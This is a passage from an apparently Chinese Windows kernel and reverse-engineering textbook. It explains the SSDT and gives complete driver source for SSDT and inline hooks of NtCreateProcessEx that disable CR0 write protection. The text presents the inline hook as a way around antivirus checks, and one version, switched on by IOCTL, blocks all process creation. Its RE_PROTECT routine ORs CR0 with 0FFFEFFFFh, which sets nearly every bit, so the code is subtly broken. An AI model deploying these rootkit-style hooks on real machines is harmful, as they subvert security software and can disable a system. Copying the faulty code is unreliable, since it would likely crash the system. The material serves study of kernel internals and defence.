在该输出中，第一行就是SSDT表，该表中的80502b8c是一个函数指针数组，该指针数组保存了所有Native API的函数地址，0000011c是数组的大小，80503000 里面保存的是一个参数个数数组，与Native API相对应。将SSDT 定义成一个结构体，如下：
 
typedef struct _SERVICE_DESCRIPTOR_TABLE
 
{
 
PULONG ServiceTableBase;
 
PULONG Reseave;
 
ULONG　NumberOfServices;
 
PUCHAR ParamTableBase;
 
}SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
 
要想在驱动中获得该表，需要使用 Notokrnl.exe 导出的 KeServiceDescriptorTable，将其定义如下：
 
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
 
有了上面的SSDT表和KeServiceDescriptorTable的定义，就可以编写与SSDT相关的程序了，不过似乎还少点什么。表里面对应的Native API 到底是什么？用WinDbg 来看一下，输入dd 80502b8c，输出结果如下：
 
kd> dd 80502b8c
 
80502b8c　8059a948 805e7db6 805eb5fc 805e7de8
 
80502b9c　805eb636 805e7e1e 805eb67a 805eb6be
 
80502bac　8060cdfe 8060db50 805e31b4 805e2e0c
 
80502bbc　805cbde6 805cbd96 8060d424 805ac5ae
 
80502bcc　8060ca3c 8059edbe 805a6a00 805cd8c4
 
80502bdc　80500828 8060db42 8056ccd6 8053600e
 
80502bec　806060d4 805b2c3a 805ebb36 8061ae56
 
80502bfc　805f0028 8059b036 8061b0aa 8059a8e8
 
全都是一些地址值比较接近的函数地址，为什么说是函数地址，因为这是函数指针数组。输入u 8059a948 命令，输出如下：
 
kd> u 8059a948
 
nt!NtAcceptConnectPort:
 
8059a948 689c000000　　　push　9Ch
 
8059a94d 6838a14d80　　　push　offset nt!_real+0x128 (804da138)
 
8059a952 e8b9e5f9ff　　　call　nt!_SEH_prolog (80538f10)
 
8059a957 64a124010000　　　mov　　eax,dword ptr fs:[00000124h]
 
8059a95d 8a8040010000　　　mov　　al,byte ptr [eax+140h]
 
8059a963 884590　　　　mov　　byte ptr [ebp-70h],al
 
8059a966 84c0　　　　　test　al,al
 
8059a968 0f84b9010000　　　je　　nt!NtAcceptConnectPort+0x1df (8059ab27)
 
从输出可以看出，8059a948是NtAcceptConnectPort()函数的地址。再来看一个地址，输入u 805e7db6 命令，输出如下：
 
kd> u 805e7db6
 
nt!NtAccessCheck:
 
805e7db6 8bff　　　mov　　　edi,edi
 
805e7db8 55　　　　push　　ebp
 
805e7db9 8bec　　　mov　　　ebp,esp
 
805e7dbb 33c0　　　xor　　　eax,eax
 
805e7dbd 50　　　　push　　eax
 
805e7dbe ff7524　　　push　　dword ptr [ebp+24h]
 
805e7dc1 ff7520　　　push　　dword ptr [ebp+20h]
 
805e7dc4 ff751c　　　push　　dword ptr [ebp+1Ch]
 
这次输出的是NtAccessCheck()函数的反汇编代码。在SSDT表中，第3个参数告诉我们，这个数组的大小是0x11c，也就是数组最后一项的下标是0x11b。再看一下下标为0x11b中保存的地址是多少，输入命令dd 80502b8c+11b *4，80502b8c是数组的起始地址，11b是数组下标，那么乘 4 的是什么原因呢？数组地址的定位是通过数组首地址+下标×数组元素字节数得出的。一个函数的地址占用4个字节，因此要做乘4的操作。该命令输出如下：
 
kd> dd 80502b8c + 11b * 4
 
80502ff8　805c2798 0000011c 2c2c2018 44402c40
 
80503008　1818080c 0c040408 08081810 0808040c
 
80503018　080c0404 2004040c 140c1008 0c102c0c
 
80503028　10201c0c 20141038 141c2424 34102010
 
80503038　080c0814 04040404 0428080c 1808181c
 
80503048　1808180c 040c080c 100c0010 10080828
 
80503058　0c08041c 00081004 0c080408 10040828
 
80503068　0c0c0404 28240428 0c0c0c30 0c0c0c18
 
再用u 命令来查看805c2798 处的反汇编代码，输入命令u 805c2798，输出如下：
 
kd> u 805c2798
 
nt!NtQueryPortInformationProcess:
 
805c2798 64a124010000　mov　　eax,dword ptr fs:[00000124h]
 
805c279e 8b4844　　mov　　ecx,dword ptr [eax+44h]
 
805c27a1 83b9bc00000000　cmp　　dword ptr [ecx+0BCh],0
 
805c27a8 740d　　　je　　　nt!NtQueryPortInformationProcess+0x1f (805c27b7)
 
805c27aa f6804802000004　test　　byte ptr [eax+248h],4
 
805c27b1 7504　　　jne　　nt!NtQueryPortInformationProcess+0x1f (805c27b7)
 
805c27b3 33c0　　　xor　　eax,eax
 
805c27b5 40　　　inc　　eax
 
数组中最后一项保存的是NtQueryPortInformationProcess()函数的地址。
 

 
7.3.2 HOOK SSDT
 
从上一节的介绍中我们知道，SSDT 把用户层的Win32 API 与内核层的Native API做了一个关联，而整个Native API都保存在SSDT 中的一个函数指针数组中，只要修改函数指针数组中的某一项，就相当于HOOK 了某个Native API函数。比如，修改SSDT 中函数指针数组中的最后一个函数指针，那么就相当于HOOK了NtQueryPortInformationProcess()函数。
 
下面HOOK一个我们比较熟悉的函数，即创建进程函数NtCreateProcessEx()。该函数在指针数组的第0x30项（该编号根据系统版本的不同而不同，是系统相关的）。通过编程获取SSDT 表，然后找到Native API的函数指针数组，然后修改其中第0x30 项的内容为我们的函数地址，为了不影响进程的正常创建，在函数中调用NtCreateProcessEx()函数。代码如下：
 
#include <ntddk.h>
 
typedef struct _SERVICE_DESCRIPTOR_TABLE
 
{
 
PULONG ServiceTableBase;
 
PULONG ServiceCounterTableBase;
 
ULONG NumberOfServices;
 
PUCHAR ParamTableBase;
 
}SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
 
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
 
typedef NTSTATUS (*NTCREATEPROCESSEX)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
 
HANDLE, ULONG, HANDLE, HANDLE, HANDLE, ULONG);
 
// 保存NtCreateProcesEx 函数的地址
 
NTCREATEPROCESSEX ulNtCreateProcessEx = 0;
 
// 在指针数组中NtCreateProcessEx 的地址
 
ULONG ulNtCreateProcessExAddr = 0;
 
VOID UN_PROTECT()
 
{
 
__asm
 
{
 
push eax
 
mov　eax, CR0
 
and　eax, 0FFFEFFFFh
 
mov　CR0, eax
 
pop　eax
 
}
 
}
 
VOID RE_PROTECT()
 
{
 
__asm
 
{
 
push eax
 
mov　eax, CR0
 
or　eax, 0FFFEFFFFh
 
mov　CR0, eax
 
pop　eax
 
}
 
}
 
VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
 
{
 
UN_PROTECT();
 
// 替换NtCreateProcessEx的地址为MyNtCreateProcessEx
 
*(PULONG)ulNtCreateProcessExAddr = (ULONG)ulNtCreateProcessEx;
 
RE_PROTECT();
 
}
 
NTSTATUS
 
MyNtCreateProcessEx(
 
__out PHANDLE ProcessHandle,
 
__in ACCESS_MASK DesiredAccess,
 
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
 
__in HANDLE ParentProcess,
 
__in ULONG Flags,
 
__in_opt HANDLE SectionHandle,
 
__in_opt HANDLE DebugPort,
 
__in_opt HANDLE ExceptionPort,
 
__in ULONG JobMemberLevel
 
)
 
{
 
NTSTATUS Status = STATUS_SUCCESS;
 
KdPrint(("Enter MyNtCreateProcessEx! \r\n"));
 
Status = ulNtCreateProcessEx(ProcessHandle,
 
DesiredAccess,
 
ObjectAttributes,
 
ParentProcess,
 
Flags,
 
SectionHandle,
 
DebugPort,
 
ExceptionPort,
 
JobMemberLevel);
 
return Status;
 
}
 
VOID HookCreateProcess()
 
{
 
ULONG ulSsdt = 0;
 
// 保存NtCreateProces的地址
 
// 获取SSDT
 
ulSsdt = (ULONG)KeServiceDescriptorTable->ServiceTableBase;
 
// 获取NtCreateProcessEx地址的指针
 
ulNtCreateProcessExAddr = ulSsdt + 0x30 * 4;
 
// 备份NtCreateProcessEx的原始地址
 
ulNtCreateProcessEx = (NTCREATEPROCESSEX)*(PULONG)ulNtCreateProcessExAddr;
 
UN_PROTECT();
 
// 替换NtCreateProcessEx的地址为MyNtCreateProcessEx
 
*(PULONG)ulNtCreateProcessExAddr = (ULONG)MyNtCreateProcessEx;
 
RE_PROTECT();
 
}
 
NTSTATUS DriverEntry(
 
PDRIVER_OBJECT pDriverObject,
 
PUNICODE_STRING pRegistryPath
 
)
 
{
 
NTSTATUS Status = STATUS_SUCCESS;
 
pDriverObject->DriverUnload = DriverUnload;
 
HookCreateProcess();
 
return Status;
 
}
 
在 DriverEntry()中，调用了 HookCreateProcess()函数，该函数的作用就是将指针数组中NtCreateProcessEx()函数的地址替换为MyNtCreateProcess()函数的地址。而MyNtCreateProcess()函数是用来取代NtCreateProcess()函数的函数，在我们的函数中调用了一条KdPrint()用于输出的代码。整个Hook的过程非常简单，只要找到指针数组的位置，保存原地址后修改为新的地址即可。在代码中出现了两个函数，分别是 UN_PROTECT()和RE_PROTECT()。这两个函数的作用是，禁止和开启CPU向标志为只读的内存页进行写入的操作。执行了UN_PROTECT后CPU可以向标志为只读的内存页进行写入操作。当写入完成好后，调用RE_PROTECT()函数恢复到原来的状态。把它放到虚拟机中，打开DebugView然后加载该驱动，加载成功后随便运行一个可执行程序，可以看到在 DebugView 中显示了在MyNtCreateProcess()中的输出了，如图7-10所示，说明我们的HOOK成功了。
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  图7-10 MyCreateProcess()函数的输出 

 

 
7.3.3 Inline HOOK SSDT
 
前面介绍了HOOK SSDT，下面介绍一下Inline HOOK SSDT，为什么要介绍Inline HOOK SSDT 呢？在有些情况下，反病毒软件会保护SSDT 不受篡改，其保护方式是检查NativeAPI的函数指针数组中的值是否正确。如果其中某项或某几项被修改，那么反病毒软件会将被修改的项恢复到原来的值，这样HOOK SSDT 就不成功了。还记得前面章节介绍Inline HOOK的原理吗？Inline Hook 是修改被HOOK 的入口字节为一个跳转，从而跳转入函数中。如果换作是Inline Hook SSDT 的话，那么就不会去修改Native API的函数指针数组中的值了，这样可以避免反病毒软件的检测（注：这只是一个简单的说明，现在使用Inline HOOK SSDT 同样会被反病毒软件查杀）。
 
实现Inline Hook SSDT 的代码如下：
 
typedef NTSTATUS (*NTCREATEPROCESSEX)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
 
HANDLE, ULONG, HANDLE, HANDLE, HANDLE, ULONG);
 
NTCREATEPROCESSEX ulZwCreateProcessEx = 0;　// 原始函数地址
 
unsigned char bOldBytes[5];　// 函数入口代码
 
unsigned char bNewBytes[5];　// Inline代码
 
VOID UnInlineHookCreateProcess();
 
VOID ReInlineHookCreateProcess();
 
VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
 
{
 
UnInlineHookCreateProcess();
 
}
 
NTSTATUS
 
MyNtCreateProcessEx(
 
__out PHANDLE ProcessHandle,
 
__in ACCESS_MASK DesiredAccess,
 
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
 
__in HANDLE ParentProcess,
 
__in ULONG Flags,
 
__in_opt HANDLE SectionHandle,
 
__in_opt HANDLE DebugPort,
 
__in_opt HANDLE ExceptionPort,
 
__in ULONG JobMemberLevel
 
)
 
{
 
NTSTATUS Status = STATUS_SUCCESS;
 
KdPrint(("Enter Inline MyNtCreateProcessEx! \r\n"));
 
UnInlineHookCreateProcess();
 
Status = ulZwCreateProcessEx(ProcessHandle,
 
DesiredAccess,
 
ObjectAttributes,
 
ParentProcess,
 
Flags,
 
SectionHandle,
 
DebugPort,
 
ExceptionPort,
 
JobMemberLevel);
 
ReInlineHookCreateProcess();
 
return Status;
 
}
 
VOID UnInlineHookCreateProcess()
 
{
 
UN_PROTECT();
 
RtlCopyMemory((PVOID)ulZwCreateProcessEx, (CONST PVOID)bOldBytes, 5);
 
RE_PROTECT();
 
}
 
VOID ReInlineHookCreateProcess()
 
{
 
UN_PROTECT();
 
RtlCopyMemory((PVOID)ulZwCreateProcessEx, (CONST PVOID)bNewBytes, 5);
 
RE_PROTECT();
 
}
 
VOID InlineHookCreateProcess()
 
{
 
ULONG ulSsdt = 0;
 
// 保存NtCreateProces的地址
 
ULONG ulZwCreateProcessExAddr = 0;
 
// __asm int 3;
 
// 获取SSDT
 
ulSsdt = (ULONG)KeServiceDescriptorTable->ServiceTableBase;
 
// 获取NtCreateProcessEx地址的指针
 
ulZwCreateProcessExAddr = ulSsdt + 0x30 * 4;
 
// 备份NtCreateProcessEx的原始地址
 
ulZwCreateProcessEx = (NTCREATEPROCESSEX)*(PULONG)ulZwCreateProcessExAddr;
 
// 备份函数前5个字节
 
RtlCopyMemory((PVOID)bOldBytes, (CONST PVOID)ulZwCreateProcessEx, 5);
 
// 构造入口跳转指令
 
bNewBytes[0] = '\xE9';　// jmp指令
 
*(PULONG)&bNewBytes[1] = (ULONG)MyNtCreateProcessEx - (ULONG)ulZwCreateProcessEx - 5;
 
// 修改函数前5个字节
 
RtlCopyMemory((PVOID)ulZwCreateProcessEx, (CONST PVOID)bNewBytes, 5);
 
}
 
NTSTATUS DriverEntry(
 
PDRIVER_OBJECT pDriverObject,
 
PUNICODE_STRING pRegistryPath
 
)
 
{
 
NTSTATUS Status = STATUS_SUCCESS;
 
pDriverObject->DriverUnload = DriverUnload;
 
UN_PROTECT();
 
InlineHookCreateProcess();
 
RE_PROTECT();
 
return Status;
 
}
 
关于代码的部分就不多介绍了，测试一下，其运行结果如图7-11所示。
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  图7-11 Inline Hook 

 

 
7.4 应用程序与驱动程序的通信
 
虽然应用程序处在操作系统的用户态，而驱动程序处在操作系统的内核态，但是它们之间是必须通信的，应用程序的执行都是依赖于操作系统内核的。
 

 
7.4.1 创建设备
 
在编写驱动程序的时候，主函数的入口函数是 DriverEntry()函数，该函数有一个参数为PDRIVER_OBJECT 类型，是指向驱动对象的指针的。为了能够使驱动程序被卸载掉，我们为DRIVER_OBJECT结构体中的DriverUnload成员进行了赋值。DriverUnload是驱动对象中的一个程序，其保存了驱动卸载例程（Routine，也就是函数的意思）的指针，其实保存的就是一个函数指针。在DRIVER_OBJECT中，除了DriverUnload以外，还有一个数组也存放了函数指针，这个数组名是MajorFunction，该数组的大小为IRP_MJ_MAXIMUM_FUNCTION+ 1，IRP_MJ_MAXIMUM_FUNCTION 是一个宏，该宏的定义为：
 
#define IRP_MJ_MAXIMUM_FUNCTION　　0x1b
 
在 MajorFunction 中可以指定非常多的例程指针，比如 IRP_MJ_CREATE、IRP_MJ_READ、IRP_MJ_WRITE、IRP_MJ_CLOSE……这些例程都有一个非常相似的定义，定义如下：
 
NTSTATUS
 
DispatchCreate(
 
__in struct _DEVICE_OBJECT　*DeviceObject,
 
__in struct _IRP　*Irp
 
)
 
{...}
 
NTSTATUS
 
DispatchRead(
 
__in struct _DEVICE_OBJECT　*DeviceObject,
 
__in struct _IRP　*Irp
 
)
 
{...}
 
NTSTATUS
 
DispatchWrite(
 
__in struct _DEVICE_OBJECT　*DeviceObject,
 
__in struct _IRP　*Irp
 
)
 
{...}
 
NTSTATUS
 
DispatchClose(
 
__in struct _DEVICE_OBJECT　*DeviceObject,
 
__in struct _IRP　*Irp
 
)
 
{...}
 
这些是摘自WDK提供的文件中的定义，函数名可以随意修改，但是函数的定义是不能修改的，也就是说函数的返回值和参数是已经被确定的。在这些函数的定义中，第一个参数是PDEVICE_OBJECT的类型，是一个指向设备对象的指针。第二个参数是一个指向IRP结构体的指针，IRP是I/O请求包。应用程序与驱动程序的通信就是依靠IRP进行的。因此，要在DriverEntry()下指定MajorFunction数组中的各种例程。在没有指定MajorFunction的情况下，有默认的例程来执行。
 
既然在所有的例程中都需要设备对象指针，那么自然要创建一个设备，创建设备的函数为IoCreateDevice()，其定义如下：
 
NTSTATUS
 
IoCreateDevice(
 
IN PDRIVER_OBJECT DriverObject,
 
IN ULONG DeviceExtensionSize,
 
IN PUNICODE_STRING DeviceName OPTIONAL,
 
IN DEVICE_TYPE DeviceType,
 
IN ULONG DeviceCharacteristics,
 
IN BOOLEAN Exclusive,
 
OUT PDEVICE_OBJECT *DeviceObject
 
);
 
该函数用来创建一个设备，参数说明如下。
 
（1） DriverObject：该参数是一个指向驱动对象的指针，指定设备所属的驱动，使用DriverEntry()的第一个参数即可。
 
（2）DeviceExtensionSize：指定设备扩展的大小，如果没有设备扩展的话该参数为0。
 
（3）DeviceName：指定设备的名称，设备名通常是\Device\xxx。
 
（4）DeviceType：指定设备的类型，由于创建的设备没有具体对应的设备类型，因此此处指定FILE_DEVICE_UNKNOWN。
 
（5）DeviceCharacteristics：设置设备对象的特征，这里赋值为0即可。
 
（6）Exclusive：该参数指定设备是否为互斥设备，这里赋值为TRUE即可。
 
（7）DeviceObject：该参数是一个指向设备对象的指针。
 
为了能与设备对象进行通信，必须为设备对象指定一个符号链接，用来在应用程序中打开。创建符号链接的函数为IoCreateSymbolicLink()，其定义如下：
 
NTSTATUS
 
IoCreateSymbolicLink(
 
IN PUNICODE_STRING SymbolicLinkName,
 
IN PUNICODE_STRING DeviceName
 
);
 
该函数的第一个参数用来指定符号链接的名称，该名称通常的格式为\??\xxx，第二个参数为设备名称。
 

 
7.4.2 应用程序与驱动程序的通信方式
 
应用程序与驱动程序的通信方式通常有打开、关闭、读、写、控制这5种。这5种方式对应的 Win32 API 函数分别为 CreateFile()、CloseHandle()、ReadFile()、WriteFile()和DeviceIoControl()。而这 5 个 Win32 API 函数分别对应着 5 个派遣例程，分别是IRP_MJ_CREATE、IRP_MJ_CLOSE、IRP_MJ_READ、IRP_MJ_WRITE和IRP_MJ_DEVICE_CONTROL。下面主要来介绍一下 DeviceIoControl()函数与 IRP_MJ_DEVICE_CONTROL 派遣例程。
 
DeviceIoControl()函数是用来向指定设备发送控制码的，当指定的设备接收到DeviceIoControl()发来的控制码后会调用 IRP_MJ_DEVICE_CONTROL 对应的派遣例程，针对不同的控制码进行不同的处理。DeviceIoControl()函数的定义如下：
 
BOOL DeviceIoControl(
 
HANDLE hDevice,　　　// handle to device
 
DWORD dwIoControlCode,　　// operation
 
LPVOID lpInBuffer,　　// input data buffer
 
DWORD nInBufferSize,　　// size of input data buffer
 
LPVOID lpOutBuffer,　　// output data buffer
 
DWORD nOutBufferSize,　　// size of output data buffer
 
LPDWORD lpBytesReturned,　// byte count
 
LPOVERLAPPED lpOverlapped　// overlapped information
 
);
 
（1）hDevice：该参数指明设备句柄。
 
（2）dwIoControlCode：该参数是控制码，该值由CTL_CODE生成。
 
（3）lpInBuffer：该参数是输入的缓冲区。
 
（4）nInBufferSize：该参数是输入缓冲区大小。
 
（5）lpOutBuffer：该参数是输出的缓冲区。
 
（6）nOutBufferSize：该参数是输出缓冲区大小。
 
（7）lpBytesReturned：该参数是返回字节的个数。
 
（8）lpOverlapped：该参数针对重叠方式使用，通常为0即可。
 

 
7.4.3 应用程序与驱动程序的通信实例
 
应用程序与驱动程序之间的通信实例以前面写的 HOOK NtCreateProcessEx()来进行介绍。在应用程序中通过发送控制码来启动和关闭HOOK，对NtCreateProcessEx()的HOOK进行有效地控制。下面直接给出完整的源代码，代码如下：
 
#include <ntddk.h>
 
#define DEVNAME L"\\Device\\HookNtCreateProcessEx"
 
#define LNKNAME L"\\??\\HookNtCreateProcessEx"
 
typedef struct _SERVICE_DESCRIPTOR_TABLE
 
{
 
PULONG ServiceTableBase;
 
PULONG ServiceCounterTableBase;
 
ULONG　NumberOfServices;
 
PUCHAR ParamTableBase;
 
}SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
 
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
 
typedef NTSTATUS (*NTCREATEPROCESSEX)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
 
HANDLE, ULONG, HANDLE, HANDLE, HANDLE, ULONG);
 
// 保存NtCreateProcesEx函数的地址
 
NTCREATEPROCESSEX ulNtCreateProcessEx = 0;
 
// 在指针数组中NtCreateProcessEx的地址
 
ULONG ulNtCreateProcessExAddr = 0;
 
#define IOCTL_ON CTL_CODE(\
 
FILE_DEVICE_UNKNOWN, \
 
0x800, \
 
METHOD_IN_DIRECT, \
 
FILE_ANY_ACCESS)
 
#define IOCTL_OFF CTL_CODE(\
 
FILE_DEVICE_UNKNOWN, \
 
0x801, \
 
METHOD_IN_DIRECT, \
 
FILE_ANY_ACCESS)
 
VOID UN_PROTECT()
 
{
 
__asm
 
{
 
push eax
 
mov　eax, CR0
 
and　eax, 0FFFEFFFFh
 
mov　CR0, eax
 
pop　eax
 
}
 
}
 
VOID RE_PROTECT()
 
{
 
__asm
 
{
 
push eax
 
mov　eax, CR0
 
or　eax, 0FFFEFFFFh
 
mov　CR0, eax
 
pop　eax
 
}
 
}
 
VOID UnHookCreateProcess()
 
{
 
UN_PROTECT();
 
// 替换NtCreateProcessEx的地址为MyNtCreateProcessEx
 
if ( (ULONG)ulNtCreateProcessEx != 0 )
 
{
 
*(PULONG)ulNtCreateProcessExAddr = (ULONG)ulNtCreateProcessEx;
 
}
 
RE_PROTECT();
 
}
 
NTSTATUS
 
MyNtCreateProcessEx(
 
__out PHANDLE ProcessHandle,
 
__in ACCESS_MASK DesiredAccess,
 
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
 
__in HANDLE ParentProcess,
 
__in ULONG Flags,
 
__in_opt HANDLE SectionHandle,
 
__in_opt HANDLE DebugPort,
 
__in_opt HANDLE ExceptionPort,
 
__in ULONG JobMemberLevel
 
)
 
{
 
NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
KdPrint(("Enter MyNtCreateProcessEx! \r\n"));
 
/*
 
Status = ulNtCreateProcessEx(ProcessHandle,
 
DesiredAccess,
 
ObjectAttributes,
 
ParentProcess,
 
Flags,
 
SectionHandle,
 
DebugPort,
 
ExceptionPort,
 
JobMemberLevel);
 
*/
 
return Status;
 
}
 
VOID HookCreateProcess()
 
{
 
ULONG ulSsdt = 0;
 
// 保存NtCreateProces的地址
 
// 获取SSDT
 
ulSsdt = (ULONG)KeServiceDescriptorTable->ServiceTableBase;
 
// 获取NtCreateProcessEx地址的指针
 
ulNtCreateProcessExAddr = ulSsdt + 0x30 * 4;
 
// 备份NtCreateProcessEx的原始地址
 
ulNtCreateProcessEx = (NTCREATEPROCESSEX)*(PULONG)ulNtCreateProcessExAddr;
 
UN_PROTECT();
 
// 替换NtCreateProcessEx的地址为MyNtCreateProcessEx
 
*(PULONG)ulNtCreateProcessExAddr = (ULONG)MyNtCreateProcessEx;
 
RE_PROTECT();
 
}
 
VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
 
{
 
// 保存符号链接
 
UNICODE_STRING LnkName;
 
// 设备指针
 
PDEVICE_OBJECT pDevObj = NULL;
 
RtlInitUnicodeString(&LnkName, LNKNAME);
 
// 删除符号链接
 
IoDeleteSymbolicLink(&LnkName);
 
pDevObj = pDriverObject->DeviceObject;
 
// 删除设备
 
IoDeleteDevice(pDevObj);
 
UnHookCreateProcess();
 
}
 
NTSTATUS DispatchRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp)
 
{
 
NTSTATUS Status = STATUS_SUCCESS;
 
// 得到当前栈
 
PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp);
 
// 得到控制码
 
ULONG ulCode = (ULONG)pStack->Parameters.DeviceIoControl.IoControlCode;
 
switch ( ulCode )
 
{
 
case IOCTL_ON:
 
{
 
HookCreateProcess();
 
break;
 
}
 
case IOCTL_OFF:
 
{
 
UnHookCreateProcess();
 
break;
 
}
 
}
 
// 完成IRP
 
pIrp->IoStatus.Status = Status;
 
pIrp->IoStatus.Information = 0;
 
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
 
return Status;
 
}
 
NTSTATUS CreateRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp)
 
{
 
return STATUS_SUCCESS;
 
}
 
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,
 
PUNICODE_STRING pRegistryPath)
 
{
 
NTSTATUS Status = STATUS_SUCCESS;
 
// 保存设备名
 
UNICODE_STRING DevName;
 
// 保存符号链接
 
UNICODE_STRING LnkName;
 
// 设备指针
 
PDEVICE_OBJECT pDevObj = NULL;
 
// 指定卸载例程
 
pDriverObject->DriverUnload = DriverUnload;
 
// 指定创建历程
 
pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateRoutine;
 
// 指定派发例程
 
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchRoutine;
 
RtlInitUnicodeString(&DevName, DEVNAME);
 
// 创建设备
 
Status = IoCreateDevice(pDriverObject,
 
0,
 
&DevName,
 
FILE_DEVICE_UNKNOWN,
 
0,
 
TRUE,
 
&pDevObj);
 
if ( !NT_SUCCESS(Status) )
 
{
 
KdPrint(("IoCreate Error ! \r\n"));
 
return Status;
 
}
 
pDevObj->Flags |= DO_DIRECT_IO;
 
pDriverObject->DeviceObject = pDevObj;
 
RtlInitUnicodeString(&LnkName, LNKNAME);
 
// 创建符号链接
 
Status = IoCreateSymbolicLink(&LnkName, &DevName);
 
if ( !NT_SUCCESS(Status) )
 
{
 
KdPrint(("IoCreatSymbolicLink Error ! \r\n"));
 
IoDeleteDevice(pDevObj);
 
return Status;
 
}
 
return Status;
 
}
 
下面来看一下应用层的代码，在于驱动进行通信时，首先要打开驱动程序：
 
m_hDevice = CreateFile("\\\\.\\HookNtCreateProcessEx",
 
GENERIC_READ | GENERIC_WRITE,
 
0,
 
NULL,
 
OPEN_EXISTING,
 
FILE_ATTRIBUTE_NORMAL,
 
NULL);
 
if ( m_hDevice == INVALID_HANDLE_VALUE )
 
{
 
AfxMessageBox("CreateFile Error \r\n");
 
return -1;
 
}
 
在使用CreateFile()函数时，该函数的第一个参数为驱动程序的符号链接。定义驱动的符号链接为：L"\\??\\HookNtCreateProcessEx"，当在应用层中使用时应改为：\\\\.\\HookNtCreateProcessEx。
 
打开驱动程序后，通过 DeviceIoControl()来对驱动程序发送控制码，使驱动程序开启和关闭HOOK。代码如下：
 
// 发送开启HOOK 的控制码
 
DWORD dwRet = 0;
 
DeviceIoControl(m_hDevice, IOCTL_ON, NULL, 0, NULL, 0, &dwRet, NULL);
 
// 发送关闭HOOK 的控制码
 
DWORD dwRet = 0;
 
DeviceIoControl(m_hDevice, IOCTL_OFF, NULL, 0, NULL, 0, &dwRet, NULL);
 
在应用程序中使用CTL_CODE宏时应包含头文件winioctl.h。运行看一下效果，当开启HOOK 时 NtCreateProcessEx()会直接返回，也就是不进行进程的创建。当关闭 HOOK 后， NtCreateProcessEx()又会正常地创建进程。用KmdManager加载驱动，然后用我们编写的应用程序开启HOOK后运行的任意程序，创建进程都会失败，如图7-12所示。
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  图7-12 开启HOOK后创建进程失败 

 
关于驱动的开发有非常多的东西需要学习，驱动的开发时下也非常流行，很多安全厂商（比如，反病毒、反外挂公司）都对驱动开发人员有大量的需求。
 

 
7.5 C语言代码逆向基础
 
在学习编程的过程中，需要阅读大量的源代码才能提高我们的编程能力。可是通常情况下，在使用软件的过程中会发现某个软件的功能实现得非常不错，希望该功能能够在自己的软件中实现，但又得不到它的源代码进行参考。遇到这种情况，通常能够做的就是通过反汇编工具进行逆向分析，或者借助调试工具进行调试分析。
 
何为逆向工程？简单说就是将已经编译好的二进制程序通过反汇编分析来还原相应的源代码。本节就来介绍C语言代码的逆向基础知识，主要讲解C语言中流程控制代码对应的反汇编代码。
 

 
7.5.1 函数的识别
 
做逆向分析的第一步是先要对函数进行识别，也就是说确定函数的开始位置、结束位置、函数调用方式及函数的参数个数。在逆向分析的过程中，不会把单个指令当作是最基本的逆向单位，因为一条汇编指令很难说明任何问题，就像在C语言中，很难通过一行代码来说明问题一样。
 
大多情况下是针对自己比较感兴趣的部分进行重点分析，分析部分功能或者部分关键函数。因此，确定函数的开始位置及结束位置就很重要了。不过通常情况下，函数的起始位置和结束位置都可以通过反汇编工具自动识别，从而省去了我们自己的识别。使用强大的反汇编工具IDA更是如此，不过在某些特殊情况下仍然需要我们自己去识别。简单介绍一下如何识别函数的开始与结束的位置。写一个简单的C语言代码，用VC6进行编译连接，再用IDA打开。C语言代码如下：
 
#include <stdio.h>
 
#include <Windows.h>
 
int test(char *szStr, int nNum)
 
{
 
printf("%s , %d \r\n", szStr, nNum);
 
MessageBox(NULL, szStr, NULL, MB_OK);
 
return 5;
 
}
 
int main(int argc, char* argv[])
 
{
 
int nNum = test("hello", 6);
 
printf("%d \r\n", nNum);
 
return 0;
 
}
 
在程序中由主函数调用了自定义函数test()，test()函数的返回值为int类型。在test()函数中调用了 printf()函数和 MessageBox()两个函数。逆向分析是在 DEBUG 编译方式下进行的（RELEASE方式留给大家自己去研究）。用IDA打开我们编译连接好的程序文件。用IDA打开后，将直接找到main()函数（多么方便的工具），如果没有找到main()的话，通过简单的操作也能找到。下面先来通过运行时启动函数定位找到main()函数。
 
首先在 IDA 上单击选项卡中的“Exports”项，在这里可以看到 mainCRTStartup，如图7-13所示。
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  图7-13 “Exports”选项卡 

 
双击mainCRTStartup就可以运行启动函数了。记住main()函数不是程序运行的第一个函数，而是程序员编写程序时的第一个函数。main()函数是由运行时启动函数来调用的。启动函数部分反汇编代码如下：
 
.text:004011D0　　　　public mainCRTStartup
 
.text:004011D0 mainCRTStartup　proc near
 
.text:004011D0
 
.text:004011D0 var_1C　　= dword ptr -1Ch
 
.text:004011D0 var_18　　= dword ptr -18h
 
.text:004011D0 var_4　　= dword ptr -4
 
……
 
.text:004011F6　　　　call　ds:__imp__GetVersion@0 ; GetVersion()
 
……
 
.text:00401270　　　　call　ds:__imp__GetCommandLineA@0 ; GetCommandLineA()
 
.text:00401276　　　　mov　_acmdln, eax
 
.text:0040127B　　　　call　__crtGetEnvironmentStringsA
 
……
 
.text:004012A0　　　　mov　edx, _environ
 
.text:004012A6　　　　push　edx　　　; envp
 
.text:004012A7　　　　mov　eax, __argv
 
.text:004012AC　　　　push　eax　　　; argv
 
.text:004012AD　　　　mov　ecx, __argc
 
.text:004012B3　　　　push　ecx　　　; argc
 
